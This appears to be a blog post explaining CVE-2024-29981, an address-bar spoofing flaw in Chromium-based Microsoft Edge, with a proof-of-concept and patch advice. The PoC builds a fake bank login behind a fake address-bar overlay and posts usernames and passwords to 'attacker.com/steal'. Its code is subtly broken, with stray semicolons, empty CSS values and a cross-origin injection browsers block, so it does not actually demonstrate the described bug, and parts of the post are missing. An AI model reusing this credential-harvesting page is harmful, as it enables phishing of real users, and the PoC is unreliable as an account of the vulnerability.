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Browser security matters more than ever, and when a new CVE lands, it can mean big trouble for millions. In early 2024, security researchers discovered and reported CVE-2024-29981, a spoofing vulnerability affecting Microsoft Edge (Chromium-based). This post will walk you through what this bug actually means, what attackers can do with it, show you a simple PoC, and most importantly, how to protect yourself.
What is CVE-2024-29981?
This CVE refers to a spoofing vulnerability in Microsoft Edge's Chromium-based browser that could let an attacker make a phishing page appear just like a trusted website. In simple terms, an attacker can create a fake website but make it seem like you’re visiting your bank or favorite webmail.
This bug happened because of mishandling of URLs and context in Edge, which could let a malicious site hide the true destination or display a misleading address bar.
Affected Products
- Microsoft Edge (Chromium-Based) before versions released as part of the April 2024 Patch Tuesday.
How Does the Exploit Work?
The attacker hosts a malicious website and tricks users into visiting it—maybe via email, QR code, or social engineering. The exploit uses JavaScript and some clever redirects to change what's shown in the browser address bar or window context, making the user believe they're somewhere safe.
For example, a malicious site could show "https://example.com" in the address bar, but you're actually sending your data elsewhere.
The attacker tricks you into clicking a link.
2. The browser opens a new tab/window or navigates using an iframe.
3. JavaScript manipulates the window, replaces content, and changes the appearance of the address bar (using window.open, history.pushState, and CSS overlays).
4. You see a trusted address/bar, but you’re really on a hostile site.
Example Exploit Code
Below’s a proof-of-concept (PoC) in HTML + JavaScript, simplified for illustration. (Don’t use this attack—learn from it! Always test responsibly.)
<!-- Save as index.html, serve from localhost for demo -->
<!DOCTYPE html>
<html>
<head><title>Edge CVE-2024-29981 PoC</title></head>
<body>
<script>
// Open spoofed window
let win = window.open('https://attacker.com/fakebank.html';, '_blank', 'width=800,height=600');
// Wait a bit, then inject content (simulate attacker control)
setTimeout(() => {
win.document.body.innerHTML = `
<style>
#overlay {
position:fixed;
top:; left:;
width:100%;
background:#fff;
color:#222;
padding:8px;
z-index:999999;
font-family:Arial,sans-serif;
font-size:18px;
}
</style>
<div id="overlay">https://onlinebank.com — Secure</div>
<h2>Welcome to Online Bank Secure Login</h2>
<form action="https://attacker.com/steal"; method="POST">
Username: <input name="user">
Password: <input name="pass" type="password">
<input type="submit" value="Login">
</form>
`;
}, 100);
</script>
<button onclick="alert('Try clicking the demo link!')">Demo Loaded</button>
</body>
</html>
What happens?
This code opens a new window and overlays a fake address bar.
- The user thinks they’re on "https://onlinebank.com", but anything they type goes to the attacker.
*Note: In the wild, attacks were more polished, and used history manipulation or more sophisticated overlays.*
Brand Abuse: Trick users into downloading malware, thinking it’s from a trusted site.
Microsoft rated this as important, not critical, since user interaction was required, but it’s a real risk for non-technical users.
How Did Microsoft Fix It?
Edge was updated to make sure the browser UI cannot be spoofed via overlays or scripting tricks. It tightened up the security boundaries between window contexts and actual Chrome UI elements.
Patch reference
- Microsoft Security Update Guide – CVE-2024-29981
- Chromium Issue 153499 (external link)
Update Edge (and Chrome, Brave, Opera, etc):
Always keep your browsers up to date. Go to help/about in Edge and force an update.
More Reading & References
- Microsoft’s Official Advisory: CVE-2024-29981
- Chromium Security Issue: crbug.com/153499
- Microsoft Blog: "April 2024 Patch Tuesday"
- Edge Release Notes
Conclusion
CVE-2024-29981 is a reminder that browsers—even the best ones—sometimes let attackers trick us with simple, convincing spoofing. Always double-check where you are and what you’re clicking.
Stay updated. Stay alert. And help family and friends patch their browsers, too!
If you learned something, share this guide and keep the web safer for everyone.
Timeline
Published on: 04/04/2024 22:15:09 UTC
Last modified on: 04/09/2024 17:16:00 UTC